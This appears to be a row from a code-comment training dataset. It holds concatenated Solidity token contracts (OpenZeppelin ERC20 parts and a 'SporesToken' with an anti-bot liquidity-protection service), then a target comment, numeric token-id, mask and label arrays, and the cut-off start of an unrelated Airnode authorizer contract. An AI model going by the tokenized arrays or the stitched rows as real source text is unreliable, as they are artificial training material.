_msgSender(), decreasedAllowance); _burn(account, amount); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./ERC20.sol"; import "../../utils/Pausable.sol"; /** * @dev ERC20 token with pausable token transfers, minting and burning. * * Useful for scenarios such as preventing trades until the end of an evaluation * period, or having an emergency switch for freezing all token transfers in the * event of a large bug. */ abstract contract ERC20Pausable is ERC20, Pausable { /** * @dev See {ERC20-_beforeTokenTransfer}. * * Requirements: * * - the contract must not be paused. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override { super._beforeTokenTransfer(from, to, amount); require(!paused(), "ERC20Pausable: token transfer while paused"); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor () internal { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT pragma solidity 0.7.0; interface IPLPS { function LiquidityProtection_beforeTokenTransfer( address _pool, address _from, address _to, uint256 _amount ) external; function isBlocked(address _pool, address _who) external view returns (bool); function unblock(address _pool, address _who) external; } // SPDX-License-Identifier: MIT pragma solidity 0.7.0; import "@openzeppelin/contracts/presets/ERC20PresetMinterPauser.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "./UsingLiquidityProtectionService.sol"; contract SporesToken is UsingLiquidityProtectionService(0xBA2bF7693E0903B373077ace7b002Bd925913df2), ERC20PresetMinterPauser, Ownable { uint256 private TOKEN_MAX_CAP; uint8 private TOKEN_DECIMALS; bytes32 public constant SENDER_ROLE = keccak256("SENDER_ROLE"); // to be included in the variables at the beginning address public launchPool; // holds the address of the uniswap pool constructor( string memory _name, string memory _symbol, uint8 _decimals, uint256 _cap ) ERC20PresetMinterPauser(_name, _symbol) { TOKEN_MAX_CAP = _cap; TOKEN_DECIMALS = _decimals; _setupRole(SENDER_ROLE, _msgSender()); launchPool = getLiquidityPool(); } // function to be called only by the owner of the contract. This will add the account to the list of addresses that can send the tokens before liquidity addition function addSender(address account) external onlyOwner { _setupRole(SENDER_ROLE, account); } modifier launchRestrict(address sender) { // check if the uniswap pool tokens count is 0. If balance is 0, there are no lp tokens yet. // When there are no LP tokens, allow only those who has sender role to send tokens. if (balanceOf(launchPool) == 0) { require(hasRole(SENDER_ROLE, sender),"Token: transfers are disabled"); } _; } // Add launchRestrict modifier on the transfer function, all transfer transactions go through this function _transfer(address sender, address recipient, uint256 amount) internal override launchRestrict(sender) { super._transfer(sender, recipient, amount); } /** * @dev Returns the cap on the token's total supply. */ function cap() public view returns (uint256) { return TOKEN_MAX_CAP; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). */ function decimals() public view virtual override returns (uint8) { return TOKEN_DECIMALS; } /** * @dev Creates `amount` new tokens for `to`. * * See {ERC20-_mint}. * * Requirements: * * - the caller must have the `MINTER_ROLE`. */ function mint(address to, uint256 amount) public virtual override { require( ERC20.totalSupply() + amount <= cap(), "ERC20Capped: cap exceeded" ); require( hasRole(MINTER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have minter role to mint" ); _mint(to, amount); } /** * @dev Add minter role of token contract to `to` address. * * See {ERC20-_setupRole}. * * Requirements: * * - the caller must have the owner of token contract. */ function addMinterRoleTo(address to) public onlyOwner { _setupRole(MINTER_ROLE, to); } /** * @dev these function use to integrate with anti bot protection */ function token_transfer( address _from, address _to, uint256 _amount ) internal override { _transfer(_from, _to, _amount); // Expose low-level token transfer function. } function token_balanceOf(address _holder) internal view override returns (uint256) { return balanceOf(_holder); // Expose balance check function. } function protectionAdminCheck() internal view override onlyOwner {} // Must revert to deny access. function uniswapVariety() internal pure override returns (bytes32) { return UNISWAP; // UNISWAP / PANCAKESWAP / QUICKSWAP. } function uniswapVersion() internal pure override returns (UniswapVersion) { return UniswapVersion.V2; // V2 or V3. } function uniswapFactory() internal pure override returns (address) { return 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; // Replace with the correct address. } function _beforeTokenTransfer( address _from, address _to, uint256 _amount ) internal override { super._beforeTokenTransfer(_from, _to, _amount); LiquidityProtection_beforeTokenTransfer(_from, _to, _amount); } function protectionChecker() internal view override returns (bool) { return ProtectionSwitch_manual(); // Switch off protection by calling disableProtection(); from owner. Default. } // This token will be pooled in pair with: function counterToken() internal pure override returns (address) { return 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // WETH // return 0xc778417E063141139Fce010982780140Aa0cD5Ab; // WETH9 } } // SPDX-License-Identifier: MIT pragma solidity 0.7.0; import "./external/UniswapV2Library.sol"; import "./external/UniswapV3Library.sol"; import "./IPLPS.sol"; abstract contract UsingLiquidityProtectionService { bool private unProtected = false; IPLPS private plps; uint64 internal constant HUNDRED_PERCENT = 1e18; bytes32 internal constant UNISWAP = 0x96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f; bytes32 internal constant PANCAKESWAP = 0x00fb7f630766e6a796048ea87d01acd3068e8ff67d078148a3fa3f4a84f69bd5; bytes32 internal constant QUICKSWAP = 0x96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f; enum UniswapVersion { V2, V3 } enum UniswapV3Fees { _005, // 0.05% _03, // 0.3% _1 // 1% } modifier onlyProtectionAdmin() { protectionAdminCheck(); _; } constructor(address _plps) { plps = IPLPS(_plps); } function LiquidityProtection_setLiquidityProtectionService(IPLPS _plps) external onlyProtectionAdmin() { plps = _plps; } function token_transfer( address from, address to, uint256 amount ) internal virtual; function token_balanceOf(address holder) internal view virtual returns (uint256); function protectionAdminCheck() internal view virtual; function uniswapVariety() internal pure virtual returns (bytes32); function uniswapVersion() internal pure virtual returns (UniswapVersion); function uniswapFactory() internal pure virtual returns (address); function counterToken() internal pure virtual returns (address) { return 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // WETH } function uniswapV3Fee() internal pure virtual returns (UniswapV3Fees) { return UniswapV3Fees._03; } function protectionChecker() internal view virtual returns (bool) { return ProtectionSwitch_manual(); } function lps() private view returns (IPLPS) { return plps; } function LiquidityProtection_beforeTokenTransfer( address _from, address _to, uint256 _amount ) internal virtual { if (protectionChecker()) { if (unProtected) { return; } lps().LiquidityProtection_beforeTokenTransfer( getLiquidityPool(), _from, _to, _amount ); } } function revokeBlocked(address[] calldata _holders, address _revokeTo) external onlyProtectionAdmin() { require( protectionChecker(), "UsingLiquidityProtectionService: protection removed" ); unProtected = true; address pool = getLiquidityPool(); for (uint256 i = 0; i < _holders.length; i++) { address holder = _holders[i]; if (lps().isBlocked(pool, holder)) { token_transfer(holder, _revokeTo, token_balanceOf(holder)); } } unProtected = false; } function LiquidityProtection_unblock(address[] calldata _holders) external onlyProtectionAdmin() { require( protectionChecker(), "UsingLiquidityProtectionService: protection removed" ); address pool = getLiquidityPool(); for (uint256 i = 0; i < _holders.length; i++) { lps().unblock(pool, _holders[i]); } } function disableProtection() external onlyProtectionAdmin() { unProtected = true; } function isProtected() public view returns (bool) { return not(unProtected); } function ProtectionSwitch_manual() internal view returns (bool) { return isProtected(); } function ProtectionSwitch_timestamp(uint256 _timestamp) internal view returns (bool) { return not(passed(_timestamp)); } function ProtectionSwitch_block(uint256 _block) internal view returns (bool) { return not(blockPassed(_block)); } function blockPassed(uint256 _block) internal view returns (bool) { return _block < block.number; } function passed(uint256 _timestamp) internal view returns (bool) { return _timestamp < block.timestamp; } function not(bool _condition) internal pure returns (bool) { return !_condition; } function feeToUint24(UniswapV3Fees _fee) internal pure returns (uint24) { if (_fee == UniswapV3Fees._03) return 3000; if (_fee == UniswapV3Fees._005) return 500; return 10000; } function getLiquidityPool() public view returns (address) { if (uniswapVersion() == UniswapVersion.V2) { return UniswapV2Library.pairFor( uniswapVariety(), uniswapFactory(), address(this), counterToken() ); } require( uniswapVariety() == UNISWAP, "LiquidityProtection: uniswapVariety() can only be UNISWAP for V3." ); return UniswapV3Library.computeAddress( uniswapFactory(), UniswapV3Library.getPoolKey( address(this), counterToken(), feeToUint24(uniswapV3Fee()) ) ); } } // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.7.0; // Exempt from the original UniswapV2Library. library UniswapV2Library { // returns sorted token addresses, used to handle return values from pairs sorted in this order function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, "UniswapV2Library: IDENTICAL_ADDRESSES"); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), "UniswapV2Library: ZERO_ADDRESS"); } // calculates the CREATE2 address for a pair without making any external calls function pairFor( bytes32 initCodeHash, address factory, address tokenA, address tokenB ) internal pure returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); pair = address( uint256( keccak256( abi.encodePacked( hex"ff", factory, keccak256(abi.encodePacked(token0, token1)), initCodeHash // init code hash ) ) ) ); } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity 0.7.0; /// @notice based on https://github.com/Uniswap/uniswap-v3-periphery/blob/v1.0.0/contracts/libraries/PoolAddress.sol /// @notice changed compiler version and lib name. /// @title Provides functions for deriving a pool address from the factory, tokens, and the fee library UniswapV3Library { bytes32 internal constant POOL_INIT_CODE_HASH = 0xe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b54; /// @notice The identifying key of the pool struct PoolKey { address token0; address token1; uint24 fee; } /// @notice Returns PoolKey: the ordered tokens with the matched fee levels /// @param tokenA The first token of a pool, unsorted /// @param tokenB The second token of a pool, unsorted /// @param fee The fee level of the pool /// @return Poolkey The pool details with ordered token0 and token1 assignments function getPoolKey( address tokenA, address tokenB, uint24 fee ) internal pure returns (PoolKey memory) { if (tokenA > tokenB) (tokenA, tokenB) = (tokenB, tokenA); return PoolKey({ token0: tokenA, token1: tokenB, fee: fee }); } /// @notice Deterministically computes the pool address given the factory and PoolKey /// @param factory The Uniswap V3 factory contract address /// @param key The PoolKey /// @return pool The contract address of the V3 pool function computeAddress(address factory, PoolKey memory key) internal pure returns (address pool) { require(key.token0 < key.token1); pool = address( uint256( keccak256( abi.encodePacked( hex"ff", factory, keccak256(abi.encode(key.token0, key.token1, key.fee)), POOL_INIT_CODE_HASH ) ) ) ); } }
Replace with the correct address.
return 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
14,336,637
[ 1, 5729, 598, 326, 3434, 1758, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 202, 2463, 374, 92, 25, 39, 8148, 70, 41, 73, 27, 1611, 10241, 28, 3461, 69, 22, 38, 26, 69, 23, 2056, 40, 24, 38, 2313, 9401, 8876, 29, 952, 25, 69, 37, 26, 74, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "../whitelist/WhitelistRolesWithAirnode.sol"; import "./RequesterAuthorizer.sol"; import "./interfaces/IRequesterAuthorizerWithAirnode.sol"; /// @title Authorizer contract that Airnode operators can use to temporarily or /// indefinitely whitelist requesters for Airnode–endpoint pairs contract RequesterAuthorizerWithAirnode is WhitelistRolesWithAirnode, RequesterAuthorizer, IRequesterAuthorizerWithAirnode { /// @param _accessControlRegistry AccessControlRegistry contract address /// @param _adminRoleDescription Admin role description constructor( address _accessControlRegistry, string memory _adminRoleDescription ) WhitelistRolesWithAirnode(_accessControlRegistry, _adminRoleDescription) {} /// @notice Extends the expiration of the temporary whitelist of /// `requester` for the `airnode`–`endpointId` pair if the sender has the /// whitelist expiration extender role /// @param airnode Airnode address /// @param endpointId Endpoint ID /// @param requester Requester address /// @param expirationTimestamp Timestamp at which the temporary whitelist /// will expire function extendWhitelistExpiration( address airnode, bytes32 endpointId, address requester, uint64 expirationTimestamp ) external override { require( hasWhitelistExpirationExtenderRoleOrIsAirnode(airnode, msg.sender), "Cannot extend expiration" ); _extendWhitelistExpirationAndEmit( airnode, endpointId, requester, expirationTimestamp ); } /// @notice Sets the expiration of the temporary whitelist of `requester` /// for the `airnode`–`endpointId` pair if the sender has the whitelist /// expiration setter role /// @dev Unlike `extendWhitelistExpiration()`, this can hasten expiration /// @param airnode Airnode address /// @param endpointId Endpoint ID /// @param requester Requester address /// @param expirationTimestamp Timestamp at which the temporary whitelist /// will expire function setWhitelistExpiration( address airnode, bytes32 endpointId, address requester, uint64 expirationTimestamp ) external override { require( hasWhitelistExpirationSetterRoleOrIsAirnode(airnode, msg.sender), "Cannot set expiration" ); _setWhitelistExpirationAndEmit( airnode, endpointId, requester, expirationTimestamp ); } /// @notice Sets the indefinite whitelist status of `requester` for the /// `airnode`–`endpointId` pair if the sender has the indefinite /// whitelister role /// @param airnode Airnode address /// @param endpointId Endpoint ID /// @param requester Requester address /// @param status Indefinite whitelist status function setIndefiniteWhitelistStatus( address airnode, bytes32 endpointId, address requester, bool status ) external override { require( hasIndefiniteWhitelisterRoleOrIsAirnode(airnode, msg.sender), "Cannot set indefinite status" ); 